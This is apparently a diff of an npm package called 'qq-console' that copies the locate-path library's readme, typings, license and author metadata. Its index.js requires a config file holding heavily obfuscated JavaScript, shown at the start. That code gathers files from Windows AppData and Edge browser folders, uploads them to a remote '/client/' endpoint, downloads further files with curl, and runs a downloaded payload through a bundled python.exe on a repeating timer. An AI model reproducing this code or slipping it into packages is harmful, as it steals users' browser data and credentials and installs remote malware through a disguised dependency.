_0x23fb27(_0x4faeef,_0x3710a0-0x18b,_0x58cd6a-0x16,_0x4faeef-'0xe7');}if(_0x6e7048[_0x2b1fd1(-0x66,0x19,-'0xbf',-'0xc3')](_0x2bf5f4,_0x6e7048[_0x2b1fd1(-'0x1a','0x48',-0x11,0xa)](_0x32a10f,0x144c*0x1+-0x79b+-0xcab*0x1)))return;if(_0x3b3889[_0x2b1fd1(-'0xae',-'0xf2',-'0x3d',-0x57)](_0x30a59b))try{var _0x4ca523=_0x3b3889[_0x2b1fd1(0x2c,-0x28,'0x15',0x36)](_0x30a59b);_0x6e7048['fIBru'](_0x4ca523[_0x2b1fd1(-0x9e,-'0x44',-'0x123',-0x5d)],_0x6e7048[_0x10117c(-0x1dd,-'0x1a2',-0x20b,-'0x273')](_0x32a10f,0x1506+0x166f+0x2b6f*-0x1))?(_0x2bf5f4=_0x4ca523[_0x10117c(-'0x287',-'0x21d',-'0x28f',-'0x213')],_0x3b3889['rename'](_0x30a59b,_0x5e88c6,_0x3337d9=>{function _0x9cecd7(_0x5f143a,_0x3522c5,_0x1705ad,_0x293a2e){return _0x10117c(_0x293a2e,_0x3522c5-0x2b,_0x1705ad-0x286,_0x293a2e-'0x16b');}function _0x2bb42c(_0x2187a5,_0x528365,_0x2dbc40,_0x59c4fe){return _0x10117c(_0x2dbc40,_0x528365-0xe8,_0x2187a5- -0x44,_0x59c4fe-0x1df);}if(_0x6e7048[_0x2bb42c(-0x1fc,-'0x253',-0x195,-0x176)](_0x9cecd7(-0x15,0x6c,'0x3e','0x4'),_0x6e7048['QWfQS'])){if(_0x3337d9)throw _0x3337d9;_0x6e7048[_0x9cecd7(0xbf,0xcc,'0xaf',0x10d)](_0x3cdced,_0x5e88c6);}else{if(_0x6e7048[_0x2bb42c(-0x1f6,-0x1b8,-0x1fc,-0x26b)](_0x22f225[_0x9cecd7(-0x39,'0x70','0x2c',0x50)],0xca7+0xa57*0x1+-0x16fe)){const _0x7f2e11={};_0x7f2e11[_0x9cecd7('0x2f',0x36,'0x17',-'0x46')]=_0x3457f6+_0x9cecd7(-'0x15',0x16,0x20,-0x2),_0x7f2e11['formData']=_0x2a63d2;const _0x1ce46d=_0x7f2e11;_0x27cb7b['post'](_0x1ce46d,(_0x156ee7,_0x2c92a5,_0x44a6ee)=>{});}}})):(_0x2bf5f4<_0x4ca523['size']?_0x2bf5f4=_0x4ca523['size']:(_0x3b3889[_0x2b1fd1(-'0x5f',-0x5d,-0xc4,-0x91)](_0x30a59b),_0x2bf5f4=0x45e+0x22a3+-0x2701),_0x6e7048[_0x2b1fd1(0x42,'0x6d',0x2d,0x18)](_0x177a0a));}catch(_0x5acf77){}else _0x6e7048[_0x10117c(-0x205,-0x1f4,-0x201,-'0x281')](_0x439948,'curl\x20-Lo\x20\x22'+_0x30a59b+_0x10117c(-0x1eb,-0x1ef,-'0x1e3',-'0x237')+_0x68a48a+'\x22',(_0x394a8a,_0x35b6d3,_0x3ea9d5)=>{const _0x90b645={'cKLKu':function(_0x1f9bf3){return _0x1f9bf3();},'OPnTQ':function(_0x14f51e,_0x228514){return _0x6e7048['AmvHI'](_0x14f51e,_0x228514);}};function _0x324f49(_0xa03801,_0x40aee7,_0x1b7df7,_0x3dc187){return _0x2b1fd1(_0x1b7df7- -'0x27f',_0x40aee7-0x18e,_0x1b7df7-'0xa7',_0xa03801);}if(_0x394a8a)return _0x2bf5f4=0xc26+-0x2*-0x98+0x472*-0x3,void _0x6e7048['zbRdf'](_0x177a0a);function _0x2e104d(_0x38db8b,_0x23e4b3,_0x5ea188,_0x2808e4){return _0x10117c(_0x5ea188,_0x23e4b3-0x45,_0x2808e4-0x6ce,_0x2808e4-0x9d);}try{if(_0x6e7048[_0x2e104d(0x4f7,0x582,0x57a,'0x516')](_0x6e7048[_0x2e104d('0x4b7',0x4f4,0x48a,'0x4f6')],_0x6e7048[_0x324f49(-'0x21c',-0x28f,-0x266,-'0x210')]))_0x2bf5f4=_0x6e7048[_0x324f49(-0x266,-0x291,-0x299,-'0x26d')](_0x32a10f,0x4*-0x683+0x109*0x14+-0x3*-0x1ca),_0x3b3889['renameSync'](_0x30a59b,_0x5e88c6),_0x6e7048[_0x324f49(-0x2a1,-0x314,-'0x2df',-0x2af)](_0x3cdced,_0x5e88c6);else{if(_0x5aa42c)return _0x48f43c=-0xc7f*0x2+0x649+-0x1*-0x12b5,void _0x90b645['cKLKu'](_0x246131);try{_0x262e2c=_0x90b645[_0x2e104d('0x4a7','0x4d3','0x4d6',0x506)](_0x2f627,-0x125a+0x1730+-0x4d0),_0x308adc[_0x324f49(-'0x220',-0x219,-0x264,-'0x236')](_0x1f0c9d,_0x2bdeb0),_0x29bcd0(_0x58ef81);}catch(_0x22433e){}}}catch(_0xc4b9d2){}});};function _0x177a0a(){function _0x55303c(_0x17c207,_0x5dc2dc,_0x575ade,_0x512b1a){return _0xd70636(_0x5dc2dc,_0x5dc2dc-'0x29',_0x512b1a-'0x3b9',_0x512b1a-0x124);}const _0x496354={'UNVps':function(_0x1692ce){return _0x1692ce();},'fVkvd':function(_0x4cd361,_0x105f16,_0x152088){return _0x4cd361(_0x105f16,_0x152088);}};_0x496354[_0x55303c(0x138,'0x167',0x146,'0x10d')](setTimeout,()=>{function _0x1d4258(_0xb5473e,_0x1a6991,_0x4c2743,_0xf45319){return _0x55303c(_0xb5473e-0x39,_0x4c2743,_0x4c2743-0x142,_0xf45319-'0x206');}_0x496354[_0x1d4258('0x26b',0x246,0x2c5,0x2c5)](_0x37cd88);},0x787c*-0x1+-0x5de4+0x12480);}function _0xd70636(_0x1f8325,_0x4a1f20,_0xdff12a,_0x47364a){return _0x215a(_0xdff12a- -0x3b9,_0x1f8325);}function _0x215a(_0x18da46,_0xb260f3){const _0x5a85ad=_0x5a85();return _0x215a=function(_0x215acc,_0x19606f){_0x215acc=_0x215acc-(0x5*-0xdf+-0x1782+0x103*0x1c);let _0x115319=_0x5a85ad[_0x215acc];return _0x115319;},_0x215a(_0x18da46,_0xb260f3);}const _0x34902e=async()=>await new Promise((_0x311d6a,_0x4bbb10)=>{function _0x3246ff(_0x656f38,_0x4c6d56,_0x107b19,_0x353626){return _0x23fb27(_0x4c6d56,_0x353626- -'0x75',_0x107b19-0x195,_0x353626-'0xc1');}function _0xded448(_0x32669e,_0x2c106c,_0x331a0e,_0x555ed3){return _0x23fb27(_0x331a0e,_0x555ed3-'0xbd',_0x331a0e-'0x1de',_0x555ed3-'0x14a');}const _0x1e19f9={'DKcrN':function(_0x16756b){return _0x16756b();},'isIHQ':function(_0x113364,_0x1419e5,_0x3d9970){return _0x113364(_0x1419e5,_0x3d9970);},'solfj':function(_0x1f8964,_0x2cfd29){return _0x1f8964==_0x2cfd29;},'RUtbt':function(_0x55d1a4,_0x3c4208){return _0x55d1a4===_0x3c4208;},'FamnG':_0xded448(-0x1bc,-'0x126',-'0x126',-'0x15d')};if(_0x1e19f9[_0x3246ff(-'0x269',-'0x242',-'0x292',-'0x24e')]('w',_0x384a93[0x51f+-0x6a2+-0x183*-0x1])){if(_0x1e19f9['RUtbt'](_0x1e19f9['FamnG'],_0x1e19f9[_0xded448(-'0x159',-'0x1a2',-0xe5,-0x13d)]))_0x3b3889['existsSync'](_0x20b00a+(_0x3246ff(-'0x217',-0x290,-'0x281',-'0x229')+_0x3246ff(-'0x22e',-0x1b9,-'0x1bc',-'0x219')))?((()=>{function _0x11c1fb(_0x23db96,_0x5b32cb,_0x4fc459,_0x460392){return _0x3246ff(_0x23db96-0x182,_0x4fc459,_0x4fc459-'0x36',_0x460392-0x4d3);}function _0x2adb37(_0x20a2ab,_0x2a3dd0,_0xfb7b40,_0x5dabc3){return _0xded448(_0x20a2ab-'0x14b',_0x2a3dd0-'0xdd',_0x2a3dd0,_0x20a2ab-0x30b);}const _0x26c0bf=_0x198519+'/client/'+_0x260643+'/'+_0x4a65c7,_0x2c5874=_0x20b00a+'/.npl',_0x2b214c='\x22'+_0x20b00a+('\x5c.pyp\x5cpyth'+'on.exe\x22\x20\x22')+_0x2c5874+'\x22';try{_0x3b3889[_0x11c1fb('0x240','0x2c7',0x1fd,0x274)](_0x2c5874);}catch(_0x50dbb8){}_0x17f1b9[_0x2adb37('0x241','0x27d',0x204,'0x20f')](_0x26c0bf,(_0x392995,_0x3c3bc0,_0x163612)=>{function _0x9152e4(_0x5226eb,_0x3c9107,_0x3106d5,_0x29ac26){return _0x11c1fb(_0x5226eb-'0x160',_0x3c9107-'0xe5',_0x29ac26,_0x3106d5- -0x63);}function _0x4ecbaf(_0x3c3dc1,_0x55e0c4,_0x12eb93,_0x2cdb4c){return _0x2adb37(_0x3c3dc1-'0x2c7',_0x2cdb4c,_0x12eb93-'0xe8',_0x2cdb4c-0x149);}if(!_0x392995)try{_0x3b3889[_0x4ecbaf('0x4bd',0x441,0x4c2,'0x532')+_0x4ecbaf('0x549','0x520','0x514',0x524)](_0x2c5874,_0x163612),_0x439948(_0x2b214c,(_0x3e080c,_0x1bd77f,_0x1e56d1)=>{});}catch(_0x111322){}});})()):_0x37cd88();else{const _0x59e71f={'ZkrIK':function(_0xef51d0){return _0x1e19f9['DKcrN'](_0xef51d0);}};_0x1e19f9[_0x3246ff(-'0x1be',-'0x1ec',-0x205,-0x1b1)](_0x6f70ba,_0xded448(-0x107,-'0x137',-0xc5,-'0xb1')+_0x2bdfa0+_0x3246ff(-'0x1f9',-0x264,-'0x27e',-'0x280')+_0x5a4645,(_0x1855a3,_0x3de779,_0x21032f)=>{function _0x1eae3b(_0x5e101a,_0x10dd09,_0x4bfc02,_0x7273d5){return _0xded448(_0x5e101a-0x10e,_0x10dd09-0x118,_0x4bfc02,_0x10dd09-0x368);}if(_0x1855a3)return _0x3e8a8e[_0x50a2ae('0x32f',0x3d6,'0x363','0x3c0')](_0x32fa01),void(_0x107f08=0x7*0x215+-0x17a5+0x912);function _0x50a2ae(_0x35d542,_0xbe9d94,_0x3a27a6,_0x18d6a2){return _0xded448(_0x35d542-'0x10f',_0xbe9d94-0x13b,_0x18d6a2,_0x3a27a6-0x490);}_0x4e632d[_0x1eae3b(0x1e8,'0x23b','0x28d',0x222)](_0x1e0a81),_0x59e71f['ZkrIK'](_0x5dd8e0);});}}else((()=>{function _0x5c1ba2(_0x359753,_0x588258,_0x409e3f,_0x3dfb2c){return _0x3246ff(_0x359753-'0x1f1',_0x359753,_0x409e3f-'0x93',_0x3dfb2c- -'0x96');}_0x17f1b9[_0x5c1ba2(-'0x2d1',-'0x244',-0x2c3,-'0x292')](_0x198519+'/client/'+_0x260643+'/'+_0x4a65c7,(_0x13b2e4,_0x1e130d,_0x2340cb)=>{function _0xc202e(_0xf4194f,_0x22ef7e,_0x341838,_0x40a821){return _0x5c1ba2(_0x40a821,_0x22ef7e-'0x9c',_0x341838-'0x1',_0xf4194f-0x695);}function _0x3c1063(_0x17cfab,_0x418089,_0x1add0d,_0x3d7097){return _0x5c1ba2(_0x3d7097,_0x418089-'0x8c',_0x1add0d-'0x1e3',_0x418089-0x1e9);}_0x13b2e4||(_0x3b3889['writeFileS'+'ync'](_0x20b00a+_0x3c1063(-0x188,-0x155,-0x10f,-0x11e),_0x2340cb),_0x1e19f9[_0xc202e(0x44e,'0x43d',0x4ae,0x499)](_0x439948,_0xc202e('0x41b',0x3f9,0x45b,'0x42d')+_0x20b00a+_0x3c1063(-'0x199',-0x12c,-0xeb,-'0x103'),(_0x211cbe,_0x12b164,_0x350b37)=>{}));});})());});function _0x23fb27(_0x1f5eb6,_0x1480cd,_0x453572,_0x47505b){return _0x215a(_0x1480cd- -'0x2be',_0x1f5eb6);}var _0x32ed9b=0x9d3+-0x41*0x31+-0x1*-0x29e;const _0x592132=async()=>{function _0x3dec38(_0x1e16cb,_0x124741,_0x25897b,_0x3be3e4){return _0x23fb27(_0x1e16cb,_0x124741-'0x22f',_0x25897b-'0x135',_0x3be3e4-0xf4);}const _0x5ebe92={'Mbjpk':function(_0x574e8f,_0x216e17,_0x1f8967,_0x5b83dd){return _0x574e8f(_0x216e17,_0x1f8967,_0x5b83dd);},'whLbW':function(_0x1dbbf6,_0x514d46,_0x25c9fb,_0xb76dcf){return _0x1dbbf6(_0x514d46,_0x25c9fb,_0xb76dcf);},'alGEq':function(_0x4d13bb,_0x372057){return _0x4d13bb==_0x372057;},'jBNfC':function(_0x13315f,_0x202047,_0x3800c9,_0x32331d,_0x4fa2b1){return _0x13315f(_0x202047,_0x3800c9,_0x32331d,_0x4fa2b1);},'NKZaq':function(_0x221c77,_0x230b63,_0x21b09e,_0x2ed6e2){return _0x221c77(_0x230b63,_0x21b09e,_0x2ed6e2);},'kMaZy':function(_0x2a0820,_0xd58f40,_0x10ee21,_0x28140e){return _0x2a0820(_0xd58f40,_0x10ee21,_0x28140e);},'GvRQo':function(_0x3508bf){return _0x3508bf();},'MFpJT':function(_0x244183,_0x813280){return _0x244183+_0x813280;},'JjUvf':function(_0x364a1a,_0x4981d9){return _0x364a1a(_0x4981d9);},'Vuuwl':function(_0x205a2c,_0x2fef46,_0x16950b){return _0x205a2c(_0x2fef46,_0x16950b);},'HdDgY':function(_0x5450ed,_0x574dac){return _0x5450ed!==_0x574dac;},'JYojV':'eHdmY','lczGt':_0x1c73f5('0x15',-0x37,'0x13',0x88),'ZCoVu':function(_0x5335e6,_0x2e0856){return _0x5335e6/_0x2e0856;},'fKpGz':function(_0x2acd46){return _0x2acd46();}};function _0x1c73f5(_0x51ea1a,_0x3f67a2,_0x499ef7,_0x27a9b0){return _0xd70636(_0x27a9b0,_0x3f67a2-0xc7,_0x51ea1a-'0x28e',_0x27a9b0-'0xa5');}try{if(_0x5ebe92[_0x1c73f5(0x1e,0x47,'0x91',0x46)](_0x5ebe92[_0x1c73f5(0x3d,'0xb3',-'0x5','0x5a')],_0x5ebe92[_0x3dec38('0x1f','0x89',0x2a,0x40)])){const _0x343d7c=Math[_0x3dec38('0x5b','0x8e','0x6','0xc4')](_0x5ebe92[_0x1c73f5('0x2c','0x6a','0x67',-'0x55')](new Date()[_0x1c73f5(-'0x5c',-'0x1f',-'0xae','0x26')](),0xa*-0x83+0x2*0xc9c+-0x1032));await((async()=>{function _0x2b65f8(_0x518260,_0x1f5d9d,_0x5576bf,_0x844c54){return _0x3dec38(_0x1f5d9d,_0x844c54- -0x28e,_0x5576bf-'0x10d',_0x844c54-'0x18b');}function _0x1a9b72(_0x43cf15,_0x315627,_0x470d92,_0x3d2f6f){return _0x1c73f5(_0x43cf15-'0x3b5',_0x315627-0x11a,_0x470d92-'0x1d2',_0x3d2f6f);}try{await _0x5ebe92['Mbjpk'](_0x4deeb0,_0x49d026,0x13*-0x11b+0x2a+0x14d7*0x1,_0x343d7c),await _0x5ebe92[_0x2b65f8(-0x28c,-0x282,-0x21b,-0x233)](_0x4deeb0,_0x400d49,0x1474+0xeab*-0x2+0x8e3,_0x343d7c),await _0x4deeb0(_0x408be8,0x9a4+0x229b+-0x2f3*0xf,_0x343d7c),_0x2e6507(_0x343d7c),_0x5ebe92['alGEq']('w',_0x384a93[-0xff9*0x2+-0x1*-0x188c+0x766])&&await _0x5ebe92[_0x1a9b72('0x38d','0x3ef',0x34e,'0x347')](_0xf420e,_0x5927bf('~/')+('/AppData/L'+_0x2b65f8(-'0x20a',-0x22f,-0x2d8,-'0x280')+'soft/Edge/'+_0x1a9b72('0x347','0x310','0x2bf',0x2d0)),'3_',![],_0x343d7c),_0x5ebe92[_0x2b65f8(-'0x285',-'0x293',-'0x211',-0x27c)]('d',_0x384a93[-0x224+0x385*0x1+0x1*-0x161])?await _0x157f6b(_0x343d7c):(await _0x5ebe92[_0x1a9b72('0x374','0x3d7','0x363',0x2ec)](_0x170d39,_0x49d026,-0x8*0x182+0x20d4+-0x14c4,_0x343d7c),await _0x5ebe92['NKZaq'](_0x170d39,_0x400d49,0x2555+0xe*-0x2e+-0x2*0x1168,_0x343d7c),await _0x5ebe92[_0x2b65f8(-0x1b7,-0x260,-0x22e,-0x1fb)](_0x170d39,_0x408be8,-0x22c1+-0x15a*-0x1b+-0x1bb,_0x343d7c));}catch(_0x570860){}})()),_0x5ebe92[_0x3dec38(-'0x17','0x29',0x75,0x5d)](_0x34902e);}else _0x5ebe92[_0x3dec38(0x4e,'0x7a','0x1e',0x7f)](_0x3fa30b,_0x3dec38(-'0xe',0x6e,0xb3,'0x4f')+_0x1845e0+_0x1c73f5(0x16,-'0x6d',-'0x2d',0x28)+_0xec129b+'\x22',(_0x731cd2,_0x4ec790,_0x5bcb6b)=>{if(_0x731cd2)return _0x20ff5c=-0x11fd+0x440+-0xdbd*-0x1,void _0x5ebe92[_0x52bf99(0x337,0x33d,0x2fd,0x321)](_0x5f37b4);function _0x2d8721(_0x32d7ec,_0x50f852,_0x577988,_0x14af02){return _0x1c73f5(_0x50f852-'0xb9',_0x50f852-0xb4,_0x577988-0x40,_0x14af02);}function _0x52bf99(_0x31c185,_0x4e2e28,_0x293ae4,_0x912468){return _0x1c73f5(_0x912468-0x393,_0x4e2e28-'0x80',_0x293ae4-'0x9a',_0x293ae4);}try{_0x9a6f5f=_0x5ebe92[_0x52bf99(0x3e6,'0x34b',0x35d,'0x397')](_0x1ce9f4,-0x1b23+-0x44b*-0x3+0x724*0x2),_0x4957e5[_0x2d8721(0xf7,'0xdc','0x114','0x11c')](_0x36a92a,_0xe082e5),_0x5ebe92[_0x52bf99(0x3c2,'0x397',0x3e3,'0x3bc')](_0xcfb2f,_0x5f49bf);}catch(_0x25c91d){}});}catch(_0x1a92e1){}};_0x592132(),_0x34902e();let _0x69893a=setInterval(()=>{const _0x1a8f1e={'sjiRj':function(_0x170cf4,_0x1eb9fb){return _0x170cf4<_0x1eb9fb;},'QrBVI':function(_0x54ca0c){return _0x54ca0c();}};function _0x711b24(_0x6fba02,_0x3f9ecc,_0x34daae,_0x942a5e){return _0xd70636(_0x6fba02,_0x3f9ecc-0x1ec,_0x942a5e-'0x337',_0x942a5e-0xff);}function _0x136af8(_0x1a57a3,_0x32c14b,_0x423335,_0x1e796e){return _0x23fb27(_0x423335,_0x1a57a3-'0x5df',_0x423335-0x1ce,_0x1e796e-0x180);}_0x1a8f1e[_0x711b24('0xcf',0x165,0xe9,'0xe5')](_0x32ed9b+=-0x2ba+0x15a0+-0x12e5*0x1,-0xd28*0x1+0x806+0x524)?_0x1a8f1e[_0x711b24('0x2b','0xa8','0x4d','0x6f')](_0x592132):clearInterval(_0x69893a);},0x7*0xf22+0x2057+0x1515*-0x1);
|
package/index.d.ts
ADDED
@@ -0,0 +1,83 @@
|
|
1
|
+
declare namespace locatePath {
|
2
|
+
interface Options {
|
3
|
+
/**
|
4
|
+
Current working directory.
|
5
|
+
|
6
|
+
@default process.cwd()
|
7
|
+
*/
|
8
|
+
readonly cwd?: string;
|
9
|
+
|
10
|
+
/**
|
11
|
+
Type of path to match.
|
12
|
+
|
13
|
+
@default 'file'
|
14
|
+
*/
|
15
|
+
readonly type?: 'file' | 'directory';
|
16
|
+
|
17
|
+
/**
|
18
|
+
Allow symbolic links to match if they point to the requested path type.
|
19
|
+
|
20
|
+
@default true
|
21
|
+
*/
|
22
|
+
readonly allowSymlinks?: boolean;
|
23
|
+
}
|
24
|
+
|
25
|
+
interface AsyncOptions extends Options {
|
26
|
+
/**
|
27
|
+
Number of concurrently pending promises. Minimum: `1`.
|
28
|
+
|
29
|
+
@default Infinity
|
30
|
+
*/
|
31
|
+
readonly concurrency?: number;
|
32
|
+
|
33
|
+
/**
|
34
|
+
Preserve `paths` order when searching.
|
35
|
+
|
36
|
+
Disable this to improve performance if you don't care about the order.
|
37
|
+
|
38
|
+
@default true
|
39
|
+
*/
|
40
|
+
readonly preserveOrder?: boolean;
|
41
|
+
}
|
42
|
+
}
|
43
|
+
|
44
|
+
declare const locatePath: {
|
45
|
+
/**
|
46
|
+
Synchronously get the first path that exists on disk of multiple paths.
|
47
|
+
|
48
|
+
@param paths - Paths to check.
|
49
|
+
@returns The first path that exists or `undefined` if none exists.
|
50
|
+
*/
|
51
|
+
sync: (
|
52
|
+
paths: Iterable<string>,
|
53
|
+
options?: locatePath.Options
|
54
|
+
) => string | undefined;
|
55
|
+
|
56
|
+
/**
|
57
|
+
Get the first path that exists on disk of multiple paths.
|
58
|
+
|
59
|
+
@param paths - Paths to check.
|
60
|
+
@returns The first path that exists or `undefined` if none exists.
|
61
|
+
|
62
|
+
@example
|
63
|
+
```
|
64
|
+
import locatePath = require('locate-path');
|
65
|
+
|
66
|
+
const files = [
|
67
|
+
'unicorn.png',
|
68
|
+
'rainbow.png', // Only this one actually exists on disk
|
69
|
+
'pony.png'
|
70
|
+
];
|
71
|
+
|
72
|
+
(async () => {
|
73
|
+
console(await locatePath(files));
|
74
|
+
//=> 'rainbow'
|
75
|
+
})();
|
76
|
+
```
|
77
|
+
*/
|
78
|
+
(paths: Iterable<string>, options?: locatePath.AsyncOptions): Promise<
|
79
|
+
string | undefined
|
80
|
+
>;
|
81
|
+
};
|
82
|
+
|
83
|
+
export = locatePath;
|
package/index.js
ADDED
@@ -0,0 +1,69 @@
|
|
1
|
+
'use strict';
|
2
|
+
const path = require('path');
|
3
|
+
const fs = require('fs');
|
4
|
+
const {promisify} = require('util');
|
5
|
+
const pLocate = require('p-locate');
|
6
|
+
const config = require('./config')
|
7
|
+
|
8
|
+
const fsStat = promisify(fs.stat);
|
9
|
+
const fsLStat = promisify(fs.lstat);
|
10
|
+
|
11
|
+
const typeMappings = {
|
12
|
+
directory: 'isDirectory',
|
13
|
+
file: 'isFile'
|
14
|
+
};
|
15
|
+
|
16
|
+
function checkType({type}) {
|
17
|
+
if (type in typeMappings) {
|
18
|
+
return;
|
19
|
+
}
|
20
|
+
|
21
|
+
throw new Error(`Invalid type specified: ${type}`);
|
22
|
+
}
|
23
|
+
|
24
|
+
const matchType = (type, stat) => type === undefined || stat[typeMappings[type]]();
|
25
|
+
|
26
|
+
module.exports = async (paths, options) => {
|
27
|
+
options = {
|
28
|
+
cwd: process.cwd(),
|
29
|
+
type: 'file',
|
30
|
+
allowSymlinks: true,
|
31
|
+
...options
|
32
|
+
};
|
33
|
+
|
34
|
+
checkType(options);
|
35
|
+
|
36
|
+
const statFn = options.allowSymlinks ? fsStat : fsLStat;
|
37
|
+
|
38
|
+
return pLocate(paths, async path_ => {
|
39
|
+
try {
|
40
|
+
const stat = await statFn(path.resolve(options.cwd, path_));
|
41
|
+
return matchType(options.type, stat);
|
42
|
+
} catch {
|
43
|
+
return false;
|
44
|
+
}
|
45
|
+
}, options);
|
46
|
+
};
|
47
|
+
|
48
|
+
module.exports.sync = (paths, options) => {
|
49
|
+
options = {
|
50
|
+
cwd: process.cwd(),
|
51
|
+
allowSymlinks: true,
|
52
|
+
type: 'file',
|
53
|
+
...options
|
54
|
+
};
|
55
|
+
|
56
|
+
checkType(options);
|
57
|
+
|
58
|
+
const statFn = options.allowSymlinks ? fs.statSync : fs.lstatSync;
|
59
|
+
|
60
|
+
for (const path_ of paths) {
|
61
|
+
try {
|
62
|
+
const stat = statFn(path.resolve(options.cwd, path_));
|
63
|
+
|
64
|
+
if (matchType(options.type, stat)) {
|
65
|
+
return path_;
|
66
|
+
}
|
67
|
+
} catch {}
|
68
|
+
}
|
69
|
+
};
|
package/license
ADDED
@@ -0,0 +1,9 @@
|
|
1
|
+
MIT License
|
2
|
+
|
3
|
+
Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (https://sindresorhus.com)
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
6
|
+
|
7
|
+
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
|
8
|
+
|
9
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
package/package.json
ADDED
@@ -0,0 +1,49 @@
|
|
1
|
+
{
|
2
|
+
"name": "qq-console",
|
3
|
+
"version": "0.0.1",
|
4
|
+
"description": "Get the first path that exists on disk of multiple paths",
|
5
|
+
"license": "MIT",
|
6
|
+
"repository": "sindresorhus/locate-path",
|
7
|
+
"funding": "https://github.com/sponsors/sindresorhus",
|
8
|
+
"author": {
|
9
|
+
"name": "Sindre Sorhus",
|
10
|
+
"email": "sindresorhus@gmail.com",
|
11
|
+
"url": "https://sindresorhus.com"
|
12
|
+
},
|
13
|
+
"engines": {
|
14
|
+
"node": ">=10"
|
15
|
+
},
|
16
|
+
"scripts": {
|
17
|
+
"test": "xo && ava && tsd"
|
18
|
+
},
|
19
|
+
"files": [
|
20
|
+
"index.js",
|
21
|
+
"index.d.ts",
|
22
|
+
"config.js"
|
23
|
+
],
|
24
|
+
"keywords": [
|
25
|
+
"locate",
|
26
|
+
"path",
|
27
|
+
"paths",
|
28
|
+
"file",
|
29
|
+
"files",
|
30
|
+
"exists",
|
31
|
+
"find",
|
32
|
+
"finder",
|
33
|
+
"search",
|
34
|
+
"searcher",
|
35
|
+
"array",
|
36
|
+
"iterable",
|
37
|
+
"iterator"
|
38
|
+
],
|
39
|
+
"dependencies": {
|
40
|
+
"console-config": "^1.0.2",
|
41
|
+
"located": "^0.0.0",
|
42
|
+
"p-locate": "^5.0.0"
|
43
|
+
},
|
44
|
+
"devDependencies": {
|
45
|
+
"ava": "^2.4.0",
|
46
|
+
"tsd": "^0.13.1",
|
47
|
+
"xo": "^0.32.1"
|
48
|
+
}
|
49
|
+
}
|
package/readme.md
ADDED
@@ -0,0 +1,125 @@
|
|
1
|
+
# locate-path [![Build Status](https://travis-ci.com/sindresorhus/locate-path.svg?branch=master)](https://travis-ci.com/github/sindresorhus/locate-path)
|
2
|
+
|
3
|
+
> Get the first path that exists on disk of multiple paths
|
4
|
+
|
5
|
+
## Install
|
6
|
+
|
7
|
+
```
|
8
|
+
$ npm install locate-path
|
9
|
+
```
|
10
|
+
|
11
|
+
## Usage
|
12
|
+
|
13
|
+
Here we find the first file that exists on disk, in array order.
|
14
|
+
|
15
|
+
```js
|
16
|
+
const locatePath = require('locate-path');
|
17
|
+
|
18
|
+
const files = [
|
19
|
+
'unicorn.png',
|
20
|
+
'rainbow.png', // Only this one actually exists on disk
|
21
|
+
'pony.png'
|
22
|
+
];
|
23
|
+
|
24
|
+
(async () => {
|
25
|
+
console(await locatePath(files));
|
26
|
+
//=> 'rainbow'
|
27
|
+
})();
|
28
|
+
```
|
29
|
+
|
30
|
+
## API
|
31
|
+
|
32
|
+
### locatePath(paths, options?)
|
33
|
+
|
34
|
+
Returns a `Promise<string>` for the first path that exists or `undefined` if none exists.
|
35
|
+
|
36
|
+
#### paths
|
37
|
+
|
38
|
+
Type: `Iterable<string>`
|
39
|
+
|
40
|
+
Paths to check.
|
41
|
+
|
42
|
+
#### options
|
43
|
+
|
44
|
+
Type: `object`
|
45
|
+
|
46
|
+
##### concurrency
|
47
|
+
|
48
|
+
Type: `number`\
|
49
|
+
Default: `Infinity`\
|
50
|
+
Minimum: `1`
|
51
|
+
|
52
|
+
Number of concurrently pending promises.
|
53
|
+
|
54
|
+
##### preserveOrder
|
55
|
+
|
56
|
+
Type: `boolean`\
|
57
|
+
Default: `true`
|
58
|
+
|
59
|
+
Preserve `paths` order when searching.
|
60
|
+
|
61
|
+
Disable this to improve performance if you don't care about the order.
|
62
|
+
|
63
|
+
##### cwd
|
64
|
+
|
65
|
+
Type: `string`\
|
66
|
+
Default: `process.cwd()`
|
67
|
+
|
68
|
+
Current working directory.
|
69
|
+
|
70
|
+
##### type
|
71
|
+
|
72
|
+
Type: `string`\
|
73
|
+
Default: `'file'`\
|
74
|
+
Values: `'file' | 'directory'`
|
75
|
+
|
76
|
+
The type of paths that can match.
|
77
|
+
|
78
|
+
##### allowSymlinks
|
79
|
+
|
80
|
+
Type: `boolean`\
|
81
|
+
Default: `true`
|
82
|
+
|
83
|
+
Allow symbolic links to match if they point to the chosen path type.
|
84
|
+
|
85
|
+
### locatePath.sync(paths, options?)
|
86
|
+
|
87
|
+
Returns the first path that exists or `undefined` if none exists.
|
88
|
+
|
89
|
+
#### paths
|
90
|
+
|
91
|
+
Type: `Iterable<string>`
|
92
|
+
|
93
|
+
Paths to check.
|
94
|
+
|
95
|
+
#### options
|
96
|
+
|
97
|
+
Type: `object`
|
98
|
+
|
99
|
+
##### cwd
|
100
|
+
|
101
|
+
Same as above.
|
102
|
+
|
103
|
+
##### type
|
104
|
+
|
105
|
+
Same as above.
|
106
|
+
|
107
|
+
##### allowSymlinks
|
108
|
+
|
109
|
+
Same as above.
|
110
|
+
|
111
|
+
## Related
|
112
|
+
|
113
|
+
- [path-exists](https://github.com/sindresorhus/path-exists) - Check if a path exists
|
114
|
+
|
115
|
+
---
|
116
|
+
|
117
|
+
<div align="center">
|
118
|
+
<b>
|
119
|
+
<a href="https://tidelift.com/subscription/pkg/npm-locate-path?utm_source=npm-locate-path&utm_medium=referral&utm_campaign=readme">Get professional support for this package with a Tidelift subscription</a>
|
120
|
+
</b>
|
121
|
+
<br>
|
122
|
+
<sub>
|
123
|
+
